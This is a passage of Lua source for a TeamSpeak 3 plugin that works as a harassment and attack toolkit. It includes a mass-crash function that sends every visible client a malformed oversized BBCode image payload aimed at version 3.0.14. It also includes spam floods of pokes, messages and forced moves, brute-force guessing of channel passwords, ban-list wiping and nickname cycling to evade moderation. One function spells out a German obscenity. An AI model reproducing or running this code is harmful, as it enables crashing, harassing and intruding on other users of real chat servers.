ts3.printMessageToCurrentTab("[b][i]== Mass crashing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, multiCrashMSG, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully crashed [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients ==[/i][/b]") | |
end | |
-- | |
-- Run with "/lua run mhcrash" | |
-- | |
-- Global Mass Hidden Crash Script (subscribe all possible channels before crashing) | |
-- | |
function mhcrash(serverConnectionHandlerID, ...) | |
--ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error subscribing channel: " .. error) | |
return | |
end | |
-- Get which channel we are in | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own channel: " .. error) | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
print("Error getting client list: " .. error) | |
return | |
end | |
-- Process Argument message | |
local crashMsg = "[img][img]" width="999999" height="999999[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]" | |
-- for i,v in ipairs(arg) do | |
-- argMsg = argMsg .. tostring(v) .. " " | |
-- end | |
local counter = 0 | |
ts3.printMessageToCurrentTab("[b][i]== Mass hidden crashing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]") | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, crashMsg, clients[i]) | |
if error == ts3errors.ERROR_ok then | |
counter = counter + 1 | |
else | |
print("Error messaging client ID: " .. clients[i] .. "\n") | |
end | |
end | |
end | |
ts3.printMessageToCurrentTab("[b][i]== Successfully hidden crashed [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients ==[/i][/b]") | |
end | |
-- | |
-- Run with "/lua run mclear" | |
-- | |
-- Global Mass Clear Chat Script (subscribe all possible channels before clearing) | |
-- | |
-- function mclear(serverConnectionHandlerID, ...) | |
--ts3.printMessageToCurrentTab("= [b][u][color=yellow]Remember:[/color] This works only if the Victims are running on TeamSpeak 3 Version [color=red]3.0.14[/color][/u][/b] =") | |
-- Get Self ID | |
-- local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own client ID: " .. error) | |
-- return | |
-- end | |
-- if myClientID == 0 then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- end | |
-- local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print("Error subscribing channel: " .. error) | |
-- return | |
-- end | |
-- Get which channel we are in | |
-- local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
-- if error ~= ts3errors.ERROR_ok then | |
-- print("Error getting own channel: " .. error) | |
-- return | |
-- end | |
-- local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessageToCurrentTab("Not connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print("Error getting client list: " .. error) | |
-- return | |
-- end | |
-- Process Argument message | |
-- local crashMsg = "[img][img] width=999999"" height=""999999""[/img][/img]" | |
-- for i,v in ipairs(arg) do | |
-- argMsg = argMsg .. tostring(v) .. " " | |
-- end | |
-- local counter = 0 | |
-- ts3.printMessageToCurrentTab("[b][i]== Mass chat clearing [color=yellow]" .. #clients - 1 .. "[/color] visible clients ==[/i][/b]") | |
-- for i=1, #clients do | |
-- if clients[i] ~= myClientID then | |
-- local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, crashMsg, clients[i]) | |
-- if error == ts3errors.ERROR_ok then | |
-- counter = counter + 1 | |
-- else | |
-- print("Error messaging client ID: " .. clients[i] .. "\n") | |
-- end | |
-- end | |
-- end | |
-- ts3.printMessageToCurrentTab("[b][i]== Successfully cleared [color=green]" .. counter .. "[/color] / [color=yellow]" .. #clients - 1 .. "[/color] clients chats ==[/i][/b]") | |
-- end | |
function movespam(serverConnectionHandlerID, ...) | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
return | |
end | |
if myClientID == 0 then | |
return | |
end | |
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
if error ~= ts3errors.ERROR_ok then | |
return | |
end | |
local error = ts3.requestChannelSubscribeAll(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
return | |
end | |
local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
if error == ts3errors.ERROR_not_connected then | |
return | |
elseif error ~= ts3errors.ERROR_ok then | |
return | |
end | |
for i=1, #clients do | |
if clients[i] ~= myClientID then | |
for b=1, 10 do | |
ts3.requestClientPoke(serverConnectionHandlerID, clients[i], "") | |
end | |
for b=1, 1000 do | |
ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, "meep", clients[i]) | |
end | |
for b=1, 100 do | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 1, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 41, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 42, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 44, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 63, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 79, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 28, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 37, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 53, password) | |
ts3.requestClientMove(serverConnectionHandlerID, clients[i], 12, password) | |
end | |
end | |
end | |
--ts3.printMessageToCurrentTab("Spammed!") | |
end | |
function emcspam() | |
i = 1 | |
count = 50 | |
while i <= count do | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]".. SpamMSG .."[/color]") | |
i = i + 1 | |
end | |
end | |
function selfKick(serverConnectionHandlerID, emc_skreason) | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID,emc_skreason) | |
ts3.requestClientKickFromServer(serverConnectionHandlerID, myClientID, emc_skreason) | |
end | |
function selfServerKICK(serverConnectionHandlerID, emc_skreason) | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
ts3.requestClientKickFromServer(serverConnectionHandlerID, myClientID, emc_skreason) | |
end | |
function selfChannelKICK(serverConnectionHandlerID, emc_skreason) | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID,emc_skreason) | |
end | |
function SecretChannelKICK(serverConnectionHandlerID) | |
local randomNumber = math.random(100,9999999) | |
local myClientID = ts3.getClientID(serverConnectionHandlerID) | |
local oldChannelID = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID) | |
local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, randomNumber) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
ts3.requestClientKickFromChannel(serverConnectionHandlerID,myClientID, "") | |
ts3.requestClientMove(serverConnectionHandlerID, myClientID, oldChannelID, "") | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
end | |
function uid(serverConnectionHandlerID, emc_uid) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TS3Index for UID: ".. emc_uid .."[/color]") | |
os.execute('start "" "http://ts3index.com/?page=searchclient&uid=' .. emc_uid .. '"') | |
--os.execute('start http://www.google.de/') | |
end | |
function name(serverConnectionHandlerID, emc_name) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TS3Index for Name: ".. emc_name .."[/color]") | |
os.execute('start "" "http://ts3index.com/?page=searchclient&nickname=' .. emc_name .. '"') | |
--os.execute('start http://www.google.de/') | |
end | |
function tsvname(serverConnectionHandlerID, emc_tsvname) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Name: ".. emc_tsvname .."[/color]") | |
os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe_user&nickname=' .. emc_tsvname .. '"') | |
--os.execute('start http://www.google.de/') | |
end | |
function servername(serverConnectionHandlerID, emc_servername) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
--local emc_servername = ts3.getServerVariableAsInt(serverConnectionHandlerID, VIRTUALSERVER_NAME) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Servername: ".. emc_servername .."[/color]") | |
os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe&suchbereich=name&suchinhalt=' .. emc_servername .. '"') | |
--os.execute('start http://www.google.de/') | |
end | |
function serverip(serverConnectionHandlerID, emc_serverip) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Searching TSViewer for Serverip: ".. emc_serverip .."[/color]") | |
os.execute('start "" "http://www.tsviewer.com/index.php?page=search&action=ausgabe&suchbereich=ip&suchinhalt=' .. emc_serverip .. '"') | |
--os.execute('start http://www.google.de/') | |
end | |
function sbanner(serverConnectionHandlerID, emc_serverbanner) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Showing Serverbanner for TSViewer-ID: ".. emc_serverbanner .."[/color]") | |
ts3.printMessageToCurrentTab("[URL=http://www.tsviewer.com/index.php?page=ts_viewer&ID=".. emc_serverbanner .."][IMG]http://www.tsviewer.com/promotion/dynamic_sig/sig.php/clan468x60_bf3/.. emc_serverbanner ..png[/IMG][/URL]") | |
end | |
function bans(serverConnectionHandlerID) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Showing Banlist for Server: ".. serverConnectionHandlerID .."[/color]") | |
ts3.requestBanList(serverConnectionHandlerID) | |
end | |
function clearbans(serverConnectionHandlerID) | |
local emcColors = { 'Black', 'White', 'Green', 'Yellow', 'Red', 'Blue', 'Orange', '#ff00ff', '#005500' } | |
local RANDCOL = ( emcColors[ math.random( #emcColors ) ] ) | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."][EMC] Clearing Banlist for Server: ".. serverConnectionHandlerID .."[/color]") | |
ts3.bandelall(serverConnectionHandlerID) | |
end | |
function cls(serverConnectionHandlerID) | |
i = 1 | |
count = 15 | |
while i <= count do | |
ts3.printMessageToCurrentTab("") | |
i = i + 1 | |
end | |
end | |
function clear(serverConnectionHandlerID) | |
i = 1 | |
count = 1000 | |
while i <= count do | |
ts3.printMessageToCurrentTab("") | |
i = i + 1 | |
end | |
end | |
-- function clientlist(serverConnectionHandlerID) | |
-- local clients, error = ts3.getClientList(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_not_connected then | |
-- ts3.printMessage(serverConnectionHandlerID, "Not connected") | |
-- return | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- print("Error getting client list: " .. error) | |
-- return | |
-- end | |
-- printMessageToCurrentTab("Clients: ".. clients ..".",clients) | |
-- printMessageToCurrentTab(toCSV(clients)) | |
-- end | |
function muteownchan(serverConnectionHandlerID) | |
local myId = ts3.getClientID(serverConnectionHandlerID) | |
if (myId ~= clientID) | |
then return | |
end | |
local myCh = ts3.getChannelOfClient(serverConnectionHandlerID, myId) | |
local clients = ts3.getChannelClientList(serverConnectionHandlerID, ch); | |
-- TODO: Iterate over the client List and remove those that are Channel Commander | |
local muted = ts3.getClientVariableAsInt(serverConnectionHandlerID, clients[i], ts3defs.ClientProperties.CLIENT_IS_MUTED) | |
if muted == 1 then | |
table.insert(mutedClients, clients) | |
end | |
if #mutedClients > clients/2 then | |
ts3.requestMuteClients(serverConnectionHandlerID, clients) | |
else | |
ts3.requestUnmuteClients(serverConnectionHandlerID, clients) | |
end | |
end | |
-- local function mutechan(scH, ch, mode) | |
-- local clients = ts3.getChannelClientList(scH, ch); | |
-- if (mode == 1) then | |
-- ts3.requestMuteClients(scH, clients) | |
-- else | |
-- ts3.requestUnmuteClients(scH, clients) | |
-- end | |
-- end | |
-- if #mutedClients > #channelClients/2 then | |
-- ts3.requestUnmuteClients(serverConnectionHandlerID, channelClients) | |
-- else | |
-- ts3.requestMuteClients(serverConnectionHandlerID, channelClients) | |
-- end | |
-- end | |
function reconnect(serverConnectionHandlerID) | |
local myId = ts3.getClientID(serverConnectionHandlerID) | |
local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' } | |
local RANDNAME = ( nameArray[ math.random( #nameArray ) ] ) | |
-- local displayName = ts3.getClientDisplayName(serverConnectionHandlerID, myId) | |
-- local displayName = math.random(100,9999999) | |
local displayName = RANDNAME .. math.random(1,9999) | |
local serverAddress = ts3.getConnectionVariableAsString(serverConnectionHandlerID, myId, 6) | |
-- local serverPort = ts3.getConnectionVariableAsInt(serverConnectionHandlerID, myId, CONNECTION_SERVER_PORT) | |
-- if unexpected_condition then error() end | |
-- if error ~= ts3errors.ERROR_ok then | |
local serverPort = "9987" | |
-- end | |
--local serverPassword = ts3.getServerVariableAsString(serverConnectionHandlerID, serverPassword) | |
-- ts3.printMessageToCurrentTab("serverConnectionHandlerID: ".. serverConnectionHandlerID .." myId: ".. myId .." displayName: ".. displayName .." serverAddress: ".. serverAddress) | |
local serverConnectionHandlerID, error = ts3.guiConnect(1, "Reconnect", serverAddress ..":" .. serverPort, "gast8", displayName, "", "", "", "", "", "", "", "", "") | |
if error ~= ts3errors.ERROR_ok then | |
print("Error rejoining Server: " .. error) | |
return | |
end | |
end | |
function reconnectRandom(serverConnectionHandlerID) | |
local myId = ts3.getClientID(serverConnectionHandlerID) | |
local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' } | |
local RANDNAME = ( nameArray[ math.random( #nameArray ) ] ) | |
-- local displayName = ts3.getClientDisplayName(serverConnectionHandlerID, myId) | |
-- local displayName = math.random(100,9999999) | |
local displayName = RANDNAME .. math.random(1,9999) | |
local channelID = math.random(1,99) | |
local serverAddress = ts3.getConnectionVariableAsString(serverConnectionHandlerID, myId, 6) | |
-- local serverPort = ts3.getConnectionVariableAsInt(serverConnectionHandlerID, myId, CONNECTION_SERVER_PORT) | |
-- if unexpected_condition then error() end | |
-- if error ~= ts3errors.ERROR_ok then | |
-- local serverPort = "5033" | |
-- end | |
--local serverPassword = ts3.getServerVariableAsString(serverConnectionHandlerID, serverPassword) | |
-- ts3.printMessageToCurrentTab("serverConnectionHandlerID: ".. serverConnectionHandlerID .." myId: ".. myId .." displayName: ".. displayName .." serverAddress: ".. serverAddress) | |
--ts3.guiConnect(connectTab, serverLabel, serverAddress, serverPassword, nickname, channel, channelPassword, captureProfile, playbackProfile, hotkeyProfile, soundProfile, userIdentity, oneTimeKey, phoneticName) | |
ts3.printMessageToCurrentTab(myId.." "..RANDNAME.." "..displayName.." "..channelID.." "..serverAddress) | |
local serverConnectionHandlerID, error = ts3.guiConnect(1, "randomReconnect", serverAddress, "gast8", displayName, channelID, "", "", "", "", "", "", "", displayName) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error rejoining Server: " .. error) | |
return | |
end | |
end | |
function tryChannelPW(serverConnectionHandlerID, channelNumber) | |
local myClientID = ts3.getClientID(serverConnectionHandlerID) | |
local pwArray = { '1', '12', '123', '1234', '12345', '123456', '1234567', '12345678', '123456789', '1234567890' } | |
for i=1, #pwArray do | |
ts3.printMessageToCurrentTab(i.." > Trying to crack PW of channel: "..channelNumber..". Using PW: "..pwArray[i]) | |
ts3.requestClientMove(serverConnectionHandlerID, myClientID, channelNumber, pwArray[i]) | |
end | |
end | |
function tryChannelPW2(serverConnectionHandlerID, channelNumber) | |
local myClientID = ts3.getClientID(serverConnectionHandlerID) | |
local pwArray = { 'pw', 'PW', 'passwort', 'Passwort', 'password' , 'Password' } | |
for i=1, #pwArray do | |
ts3.printMessageToCurrentTab(i.." > Trying to crack PW of channel: "..channelNumber..". Using PW: "..pwArray[i]) | |
ts3.requestClientMove(serverConnectionHandlerID, myClientID, channelNumber, pwArray[i]) | |
end | |
end | |
function listClientSelfVars(serverConnectionHandlerID) | |
-- Get Self ID | |
local myClientID, error = ts3.getClientID(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting own client ID: " .. error) | |
return | |
end | |
if myClientID == 0 then | |
ts3.printMessageToCurrentTab("Not connected") | |
return | |
end | |
for i=0,59 do | |
local clientVar, error = ts3.getClientVariableAsString(serverConnectionHandlerID, myClientID, i) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting client variable: " .. error) | |
return | |
end | |
local selfVar, error = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, i) | |
if error ~= ts3errors.ERROR_ok then | |
print("Error getting self variable: " .. error) | |
return | |
end | |
ts3.printMessageToCurrentTab("clientVar[" .. i .. "] = " .. clientVar .. " | selfVar[" .. i .. "] = " .. selfVar .. "") | |
end | |
end | |
-- function timer | |
-- while true do | |
-- sleep(1) | |
-- local x = os.clock() | |
-- local s = 0 | |
-- for i=1,100000 do s = s + i end | |
-- ts3.printMessageToCurrentTab(string.format("elapsed time: %.2f\n", os.clock() - x)) | |
-- end | |
-- end | |
-- function freeze | |
-- while true do | |
-- local x = os.clock() | |
-- local s = 0 | |
-- for i=1,100000 do s = s + i end | |
-- ts3.printMessageToCurrentTab(string.format("elapsed time: %.2f\n", os.clock() - x)) | |
-- end | |
-- end | |
function createrandomChannelLOOP(serverConnectionHandlerID) | |
-- local sleepDelay = sleepDelay | |
for i = 1, 15 do | |
createrandomChannel(serverConnectionHandlerID) | |
wsleep(1) | |
end | |
end | |
function editChannel(serverConnectionHandlerID, channelID, channelName, channelNamePhonetic, channelPassword, channelDescription) | |
if channelName ~= "0" then | |
ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NAME,channelName) | |
end | |
if channelNamePhonetic ~= "0" then | |
ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NAME_PHONETIC,channelNamePhonetic) | |
end | |
if channelPassword ~= "0" then | |
ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_PASSWORD,channelPassword) | |
end | |
--ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_TOPIC,channelTopic) | |
if channelDescription ~= "0" then | |
ts3.setChannelVariableAsString(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_DESCRIPTION,channelDescription) | |
end | |
--ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_MAXCLIENTS,channelMaxClients) | |
--ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER,channelNeededTP) | |
--ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_ICON_ID,channelIconID) | |
--ts3.setChannelVariableAsInt(serverConnectionHandlerID, 0,ts3defs.ChannelProperties.CHANNEL_FLAG_SEMI_PERMANENT,channelIsSemi) | |
local channelOldName = ts3.getChannelVariableAsString(serverConnectionHandlerID,channelID,ts3defs.ChannelProperties.CHANNEL_NAME,channelName) | |
--ts3.printMessageToCurrentTab("ChannelID: " .. channelID) | |
local error = ts3.flushChannelUpdates(serverConnectionHandlerID,channelID) | |
if error ~= ts3errors.ERROR_ok then | |
ts3.printMessageToCurrentTab("Error editing channel: "..channelOldName.." ("..channelID.."), ErrorID: " .. error) | |
return | |
end | |
end | |
function toggleModerated() | |
local schID = ts3.getCurrentServerConnectionHandlerID() | |
local myID = ts3.getClientID(schID) | |
local channel = ts3.getChannelOfClient(schID, myID) | |
local needTP, ntpe = ts3.getChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER) | |
if (needTP == 0) then | |
ts3.setChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER, 75) | |
ts3.flushChannelUpdates(schID, channel) | |
ts3.printMessageToCurrentTab("Talk Power for Channel: "..channel.." set to: 75") | |
else | |
ts3.setChannelVariableAsInt(schID, channel, ts3defs.ChannelProperties.CHANNEL_NEEDED_TALK_POWER, 0) | |
ts3.flushChannelUpdates(schID, channel) | |
ts3.printMessageToCurrentTab("Talk Power for Channel: "..channel.." set to: 0") | |
end | |
end | |
function renameSelf(serverConnectionHandlerID, newNick) | |
--local newNick = "Tessttttt" | |
ts3.printMessageToCurrentTab("Renaming self to "..newNick..".") | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick) | |
-- ts3.printMessageToCurrentTab("FLushing") | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: " .. error) | |
return | |
end | |
end | |
function renameSelfFAST(serverConnectionHandlerID, newNick) | |
local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME) | |
ts3.printMessageToCurrentTab("Renaming self to "..newNick..".") | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
end | |
function randomName(serverConnectionHandlerID) | |
local newNick = math.random(100,9999999) | |
ts3.printMessageToCurrentTab("Renaming self to "..newNick..".") | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick) | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: " .. error) | |
return | |
end | |
-- ts3.printMessageToCurrentTab("fin") | |
end | |
function randomNick(serverConnectionHandlerID) | |
local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' } | |
local RANDNAME = ( nameArray[ math.random( #nameArray ) ] ) | |
local newNick = RANDNAME .. math.random(1,9999) | |
ts3.printMessageToCurrentTab("Renaming self to "..newNick..".") | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick) | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
if error ~= ts3errors.ERROR_ok then | |
ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: " .. error) | |
return | |
end | |
-- ts3.printMessageToCurrentTab("fin") | |
end | |
function randomNameLoop(serverConnectionHandlerID) | |
while true do | |
local newNick = math.random(100,9999999) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.2) | |
end | |
end | |
function nameAnimate(serverConnectionHandlerID) | |
local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME) | |
-- ts3.printMessageToCurrentTab("SID: "..serverConnectionHandlerID) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "ICH") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "FICKE") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "DEIN") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "LEBEN") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "DU") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "KLEINER") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "HUREN") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "SOHN!") | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick) | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
end | |
function mtGChecker(serverConnectionHandlerID) | |
local mtGCheckerPrefix = "[mtGChecker]" | |
local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME) | |
ts3.printMessageToCurrentTab("SID: "..serverConnectionHandlerID) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Lore") | |
